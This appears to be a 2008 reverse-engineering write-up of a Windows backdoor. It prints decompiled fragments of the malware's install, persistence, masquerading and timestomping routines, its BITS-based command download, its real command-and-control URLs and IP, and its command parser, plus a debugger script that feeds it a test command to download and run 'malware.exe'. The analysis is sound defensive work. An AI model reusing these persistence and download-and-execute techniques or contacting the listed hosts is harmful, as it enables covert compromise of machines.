int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)The executable determines if it already sits in the 'Documents and Settings\\All Users\\Application Data' directory: if not, it executes the install function, else it executes the run function. Here is the most interesting code from this install function:
{
int v4; // eax@5
DWORD v6; // edi@1
int v7; // [sp+210h] [bp-4h]@1
CHAR Filename; // [sp+10Ch] [bp-108h]@1
CHAR String2; // [sp+8h] [bp-20Ch]@3
v7 = dword_425850;
Sleep(0xAu);
adjust_SeDebugPrivilege();
v6 = GetModuleFileNameA(0, &Filename, 0x104u); // retrieves the path to the current process's executable
Sleep(0xBu);
Sleep(0xAu);
if ( !v6 )
goto LABEL_10;
if ( !GetEnvironmentVariableA("ALLUSERSPROFILE", &String2, 0x104u) )
lstrcpyA(&String2, "C:\\Documents and Settings\\All Users");
Sleep(0xAu);
lstrcatA(&String2, "\\Application Data\\msmsgs.exe");
v4 = lstrcmpiA(&Filename, &String2);
if ( v4 ) // if not in our final directory
LABEL_10:
install();
else
run(v4);
Sleep(0x1Eu);
return 0;
}
memset(&NewFileName, 0, 0x104u);The program tries to register as a fake 'Logical Disk Manager Service' system service or as a 'Windows Media Player' application in the registry startup keys, then it copies itself to the 'Application Data' directory, adjust its date to match the one of the first DLL file found in the Windows directory, and finally starts itself again from this new working directory. If it was already present in the 'Application Data' directory, then the run function executes instead, which basically extracts a payload from its data section and writes it to a new file, 'C:\Program Files\WindowsUpdate\Windows Installer.exe', itself executed.
if ( !GetEnvironmentVariableA("ALLUSERSPROFILE", &NewFileName, 0x104u) )
lstrcpyA(&NewFileName, "C:\\Documents and Settings\\All Users");
lstrcatA(&NewFileName, "\\Application Data\\msmsgs.exe");
...
if ( !(unsigned __int8)add_as_service(&NewFileName, "Logical Disk Manager Service") )
write_registry(
HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
"Windows Media Player",
&NewFileName);
while ( 1 )
{
while ( !CopyFileA(&ExistingFileName, &NewFileName, 0) ) // copy ourself to 'Application Data'
{
stop_service_through_batch_script(0, "Logical Disk Manager Service");
stop_service_through_batch_script(0, "Security_Manager");
Sleep(0x5DCu);
}
v12 = CreateFileA(&NewFileName, 0x40000000u, 3u, 0, 3u, 2u, 0);
v4 = v12;
if ( v12 != (HANDLE)-1 )
break;
stop_service_through_batch_script(0, "Logical Disk Manager Service");
stop_service_through_batch_script(0, "Security_Manager");
Sleep(0x5DCu);
}
memset(&String1, 0, 0x104u);
memset(&FindFileData, 0, sizeof(FindFileData));
GetWindowsDirectoryA(&String1, 0x104u);
strcatA(&String1, "\\*.dll");
v13 = FindFirstFileA(&String1, &FindFileData); // Windows\*.dll
first_windows_dll = v13;
if ( v13 != (HANDLE)-1 )
// set MSMSGR.EXE date as first Windows\*.dll found SetFileTime(v4, &FindFileData.ftCreationTime, &FindFileData.ftLastAccessTime, &FindFileData.ftLastWriteTime);
FindClose(first_windows_dll);
CloseHandle(v4);
WinExec(&NewFileName, 0); // execute ourself from 'Application Data'
...
lpString1 = (LPSTR)LocalAlloc(0x40u, 0x200u);Just to be complete, here is the information we obtain about the particular host used in these URLs:
lstrcpyA(lpString1, "http://www1.palms-us.org/ld/v2/loginv2.asp?hi=2wsdf351&x=");
lstrcatA(lpString1, lpString2);
lstrcatA(lpString1, "&y=");
lstrcatA(lpString1, dword_40751B);
dword_4074F3 = (LPSTR)LocalAlloc(0x40u, 0x100u);
lstrcpyA(dword_4074F3, "www1.palms-us.org");
dword_4074F7 = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_4074F7, "/ld/v2/votev2.asp?a=7351ws2&s=");
lstrcatA(dword_4074F7, lpString2);
dword_4074FB = (LPSTR)LocalAlloc(0x40u, 0x100u);
lstrcpyA(dword_4074FB, "http://");
lstrcatA(dword_4074FB, dword_4074F3);
lstrcatA(dword_4074FB, dword_4074F7);
dword_407503 = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_407503, "hxxtp://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&r=9s2&s=");
lstrcatA(dword_407503, lpString2);
dword_407507 = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_407507, "http://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&r=5fd&s=");
lstrcatA(dword_407507, lpString2);
dword_40750B = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_40750B, "http://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&r=5fe&s=");
lstrcatA(dword_40750B, lpString2);
dword_40750F = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_40750F, "http://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&r=5ff&s=");
lstrcatA(dword_40750F, lpString2);
dword_407513 = (LPSTR)LocalAlloc(0x40u, 0x200u);
lstrcpyA(dword_407513, "http://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&s=");
$ nslookup www1.palms-us.org
Non-authoritative answer:
www1.palms-us.org canonical name = fakeuser.w114.west263.cn.
Name: fakeuser.w114.west263.cn
Address: 61.139.126.11
void __stdcall copy_resource_to_file(LPCSTR lpType, LPCSTR lpName, LPCSTR lpFileName)
{
...
v3 = FindResourceA(0, lpName, lpType);
if ( v3 )
{
hResInfo = v3;
v4 = SizeofResource(0, v3);
if ( v4 )
{
v5 = LoadResource(0, hResInfo);
if ( v5 )
{
hResData = v5;
v6 = (const CHAR *)LockResource(v5);
if ( v6 )
{
...
v7 = CreateFileA(lpFileName, 0x40000000u, 0, 0, 2u, 0x80u, 0);
if ( v7 != (HANDLE)-1 )
{
if ( WriteFile(v7, hMem, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0) )
...
}
int __stdcall create_dll(LPCSTR lpString1)
{
...
if ( !GetEnvironmentVariableA("ALLUSERSPROFILE", (LPSTR)lpString2, 0x104u) )
lstrcpyA((LPSTR)lpString2, "C:\\Documents and Settings\\All Users");
lstrcpyA((LPSTR)lpString1, (LPCSTR)lpString2);
CreateDirectoryA(lpString1, 0);
lstrcatA((LPSTR)lpString1, "\\DRM");
CreateDirectoryA(lpString1, 0);
lstrcatA((LPSTR)lpString1, "\\drmv021.lic");
v3 = copy_resource_to_file((LPCSTR)0x2006, (LPCSTR)0x1001, lpString1);
if ( !v3 )
{
lstrcpyA((LPSTR)lpString1, (LPCSTR)lpString2);
CreateDirectoryA(lpString1, 0);
lstrcatA((LPSTR)lpString1, "\\DRM");
CreateDirectoryA(lpString1, 0);
lstrcatA((LPSTR)lpString1, "\\avp01.lic");
copy_resource_to_file((LPCSTR)0x2006, (LPCSTR)0x1001, lpString1);
..
lstrcatW(&String2, L"My911");It is interesting to note that some needed APIs (like CreateWaitableTimer) are imported by manually parsing KERNEL32.DLL's export table and looking for corresponding CRC, a really old technique commonly used in viruses. However, only the BITS related code is importing its required APIs using this trick, which tends to demonstrate the backdoor's author most probably cut and pasted this code snippet.
if ( ole32_CoInitializeEx(0, COINIT_APARTMENTTHREADED) >= 0
&& ole32_CoCreateInstance(
rclsid_BackgroundIntelligentTransferControlClass1_0,
0,
CLSCTX_LOCAL_SERVER,
riid_qmgrprxy_dll,
&ppv) >= 0
&& (*(*ppv + CreateJob))(ppv, &String2, 0, &v26, &v22) >= 0
&& (*(*ppv + AddFile))(v22, download_url,
downloaded_filename) >= 0
&& (*(*ppv + Resume))(v22) >= 0 )
{
...
lstrcpyW(&String1, &String2);
lstrcatW(&String1, L"DSTT");
v9 = kernel32_CreateWaitableTimerW(0, 0, &String1);
v5 = v9;
kernel32_SetWaitableTimer(v9, &v30, 5000, 0, 0, 0);
while ( 1 )
{
kernel32_WaitForSingleObject(v5, -1);
if (*(*ppv + GetState))(v22, &v32) < 0 )
{
DCOM_cancel_timer:
kernel32_CancelWaitableTimer(v5);
kernel32_CloseHandle(v5);
v3 = ret_code;
v4 = 0;
goto DCOM_end;
}
v6 = v32;
if ( v32 == BG_JOB_STATE_TRANSFERRED )
{
(*(*ppv + Complete))(v22);
v6 = v32;
ret_code = 1; // transfer successfull
goto LABEL_15;
}
if ( v32 == BG_JOB_STATE_ERROR
|| v32 == BG_JOB_STATE_TRANSIENT_ERROR )
break;
if ( v32 != BG_JOB_STATE_TRANSFERRING )
{
LABEL_15:
if ( v6 == BG_JOB_STATE_TRANSFERRED
|| v6 == BG_JOB_STATE_ERROR
|| v6 == BG_JOB_STATE_TRANSIENT_ERROR )
goto DCOM_cancel_timer;
}
}
ret_code = -1; // transfer failed goto LABEL_15;
}
BITSADMIN version 2.0 [ 6.6.3790.1830 ]
BITS administration utility.
(C) Copyright 2000-2004 Microsoft Corp.
GUID: {79C45DB8-1141-4C2F-A30C-457F5B4A993C} DISPLAY: 83425My911
TYPE: DOWNLOAD STATE: SUSPENDED OWNER: XXXXXXX\xxxxxxxx
PRIORITY: NORMAL FILES: 0 / 1 BYTES: 0 / UNKNOWN
CREATION TIME: 15/07/2008 11:16:04 MODIFICATION TIME: 15/07/2008 11:16:05
COMPLETION TIME: UNKNOWN ACL FLAGS:
NOTIFY INTERFACE: UNREGISTERED NOTIFICATION FLAGS: 3
RETRY DELAY: 600 NO PROGRESS TIMEOUT: 1209600 ERROR COUNT: 0
PROXY USAGE: PRECONFIG PROXY LIST: NULL PROXY BYPASS LIST: NULL
DESCRIPTION:
JOB FILES: 0 / UNKNOWN WORKING http://www1.palms-us.org/ld/v2/loginv2.asp?
hi=2wsdf351&x=0720080710160416858070000000&y=XXX.XXX.XXX.XXX&t1=ne
-> C:\Program Files\InstallShield Installation Information\83425
NOTIFICATION COMMAND LINE: none
GUID: {8AC174A0-2422-499A-BDAD-022E15FEF0AD} DISPLAY: 59563My911
TYPE: DOWNLOAD STATE: TRANSIENT_ERROR OWNER: XXXXXXX\xxxxxxxx
PRIORITY: NORMAL FILES: 0 / 1 BYTES: 0 / UNKNOWN
CREATION TIME: 14/07/2008 11:45:59 MODIFICATION TIME: 15/07/2008 15:43:58
COMPLETION TIME: UNKNOWN ACL FLAGS:
NOTIFY INTERFACE: UNREGISTERED NOTIFICATION FLAGS: 3
RETRY DELAY: 600 NO PROGRESS TIMEOUT: 1209600 ERROR COUNT: 38
PROXY USAGE: PRECONFIG PROXY LIST: NULL PROXY BYPASS LIST: NULL
ERROR FILE: http://www1.palms-us.org/ld/v2/votev2.asp?a=7351ws2
&s=0720080710160416858070000000&t1=ne
-> C:\Program Files\InstallShield Installation Information\59563
ERROR CODE: 0x80072afc - The requested name is valid and was found in the database,
but it does not have the correct associated data being resolved for.
ERROR CONTEXT: 0x00000005 - The error occurred while the remote file was being processed.
DESCRIPTION:
JOB FILES: 0 / UNKNOWN WORKING http://www1.palms-us.org/ld/v2/votev2.asp?
a=7351ws2&s=0720080710160416858070000000&t1=ne
-> C:\Program Files\InstallShield Installation Information\59563
NOTIFICATION COMMAND LINE: none
@n4@300@
signed int __thiscall this_execute_command_file(int this)For example, our captured string with the 'n4' command causes the backdoor to sleep for 300 seconds, then try to get a new command again. So actually, the backdoor seems to be dormant, waiting most probably until a command to execute a given process appears on the master host.
{
...
run_process1_string = *(_DWORD *)"@n11@";
run_process0_string = *(const CHAR **)"@n1@";
run_thread0_string = *(_DWORD *)"@n2@";
sleep_string = *(_DWORD *)"@n4@";
run_thread1_string = *(_DWORD *)"@n21@";
if ( StrStrA(v3, run_process0_string) )
{
v4 = run_process0(*(LPCSTR *)(v1 + 12));
post_return_code(*(LPCWSTR *)(v1 + 8), v4);
}
if ( StrStrA(*(LPCSTR *)(v1 + 12), (const CHAR *)&run_process1_string) )
{
v5 = run_process1(*(LPCSTR *)(v1 + 12));
post_return_code(*(LPCWSTR *)(v1 + 8), v5);
}
if ( StrStrA(*(LPCSTR *)(v1 + 12), (const CHAR *)&run_thread0_string) )
{
v6 = run_thread0(*(LPCSTR *)(v1 + 12));
post_return_code(*(LPCWSTR *)(v1 + 8), v6);
}
if ( StrStrA(*(LPCSTR *)(v1 + 12), (const CHAR *)&run_thread1_string) )
{
v7 = run_thread1(*(LPCSTR *)(v1 + 12));
post_return_code(*(LPCWSTR *)(v1 + 8), v7);
}
if ( StrStrA(*(LPCSTR *)(v1 + 12), (const CHAR *)&sleep_string) )
sleep_command(*(LPCSTR *)(v1 + 12));
return 1;
}
g $exentry
bp kernel32!CreateFileA ".printf \"CreateFileA('%ma')\\n\", poi(esp+4) ; gc"
bp kernel32!CreateFileW ".printf \"CreateFileW('%mu')\\n\", poi(esp+4) ; gc"
bp kernel32!CreateWaitableTimerW ".printf \"CreateWaitableTimerW('%mu')\\n\", poi(esp+3*4) ; gc"
bp kernel32!GetTickCount "$$ .printf \"GetTickCount()\\n\" ; r eax = 0 ; r eip = poi(esp) ; r esp = esp + 4 ; gc"
bp kernel32!LoadLibraryW ".printf \"LoadLibraryW('%mu')\\n\", poi(esp+4) ; gc"
bp kernel32!Sleep ".printf \"Sleep(%ds)\\n\", poi(esp+4)/0n1000 ; gc"
bp wininet!InternetOpenA "$$ .printf \"InternetOpenA()\\n\" ; r eax = 0xDEADBEEF ; r eip = poi(esp) ; r esp = esp + 6*4 ; gc"
bp wininet!InternetOpenUrlA ".printf \"InternetOpenUrlA('%ma')\\n\",
poi(esp+2*4) ; r eax = 0xDEADBEEF ; r eip = poi(esp) ; r esp = esp +
7*4 ; gc"
$$ patch some conditionnal jump
eb 0x403F86 EB
$$ patch another conditionnal jump
eb 0x403FF8 EB
bu drmv021!workFunc ".printf \"workFunc('%ma', '%ma', '%ma')\\n\", poi(esp+4), poi(esp+2*4), poi(esp+3*4)"
g
lm M *.lic
bp 0x10002D20 ".printf \"this_download_command_file('%mu')\\n\", poi(esp+4) ; gc"
bp 0x10002AA0 ".printf \"file_loop('%mu', %d)\\n\", poi(esp+3*4), poi(esp+4*4) ; gc"
bp 0x10002880 ".printf \"bits_file_loop('%mu', '%mu', %d)\\n\",
poi(esp+4), poi(esp+2*4), poi(esp+3*4) ; r eax = 1 ; r eip = poi(esp) ;
r esp = esp + 4 ; gc"
bp 0x10001000 "r @$t0 = poi(esp+2*4) ; g @$ra ; .printf \"%y: get_proc_by_checksum('%y') = '%y'\\n\", eip, @$t0, eax+5 ; gc"
bp 0x10003B30 ".printf \"this_execute_command_file()\\n\" ; db poi(ecx+0xC) ; gc"
g
@n1@http://www.domain.net/malware.exe@C:\Windows\notepad.exe@388b8fbc36a8558587afc90fb23a3b99@
...
CreateFileA('C:\Documents and Settings\All Users\DRM\drmv021.lic')
CreateFileW('C:\Documents and Settings\All Users\DRM\drmv021.lic')
Sleep(0s)
InternetOpenUrlA('http://www1.palms-us.org/ld/v2/loginv2.asp?hi=2wsdf351&x=0720080710160416858070000000&y=XXX.XXX.XXX.XXX')
Sleep(1s)
Sleep(1s)
*** WARNING: Unable to verify checksum for C:\Documents and Settings\All Users\DRM\drmv021.lic
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Documents and Settings\All Users\DRM\drmv021.lic -
ModLoad: 10000000 10013000 C:\Documents and Settings\All Users\DRM\drmv021.lic
Sleep(1s)
workFunc('http://www1.palms-us.org/ld/v2/loginv2.asp?hi=2wsdf351&x=0720080710160416858070000000&y=XXX.XXX.XXX.XXX',
'http://www1.palms-us.org/ld/v2/votev2.asp?a=7351ws2&s=0720080710160416858070000000',
'http://www1.palms-us.org/ld/v2/logoutv2.asp?p=s9wlf1&s=0720080710160416858070000000')
start end module name
10000000 10013000 drmv021 C (export symbols) C:\Documents and Settings\All Users\DRM\drmv021.lic
this_download_command_file('http://www1.palms-us.org/ld/v2/loginv2.asp?hi=2wsdf351&x=0720080710160416858070000000&y=XXX.XXX.XXX.XXX')
file_loop('C:\Program Files\InstallShield Installation Information', 0)
bits_file_loop('http://www1.palms-us.org/ld/v2/loginv2.asp?hi=2wsdf351&x=0720080710160416858070000000&y=XXX.XXX.XXX.XXX&t1=ne',
'C:\Program Files\InstallShield Installation Information\0', 0)
CreateFileW('C:\Program Files\InstallShield Installation Information\0')
CreateFileW('C:\Program Files\InstallShield Installation Information\0')
this_execute_command_file()
00a33b50 40 6e 31 40 68 74 74 70-3a 2f 2f 77 77 77 2e 64 @n1@http://www.d
00a33b60 6f 6d 61 69 6e 2e 6e 65-74 2f 6d 61 6c 77 61 72 omain.net/malwar
00a33b70 65 2e 65 78 65 40 43 3a-5c 57 69 6e 64 6f 77 73 e.exe@C:\Windows
00a33b80 5c 6e 6f 74 65 70 61 64-2e 65 78 65 40 33 38 38 \notepad.exe@388
00a33b90 62 38 66 62 63 33 36 61-38 35 35 38 35 38 37 61 b8fbc36a8558587a
00a33ba0 66 63 39 30 66 62 32 33-61 33 62 39 39 40 00 00 fc90fb23a3b99@..
00a33bb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00a33bc0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
bits_file_loop('http://www.domain.net/malware.exe', 'C:\Windows\notepad.exe', 0)
CreateFileW('C:\Windows\notepad.exe')
CreateProcessA('C:\Windows\notepad.exe')
...
We successfully determined that the backdoor's main purpose is to
communicate with a master host to receive commands, and proved that the
attacker can use it to fully control a compromised machine. The layout
of the code suggests us that the backdoor contains code snippets coming
from various external sources, and that the autor is not really
skilled. As a final note, both executables are now detected by our
antivirus solution, but the embedded DLL (containing the core
communication engine, which basically could be reused easily) was not.
(c) Eric Landuyt, DataRescue, 2008 (with revisions by PVe)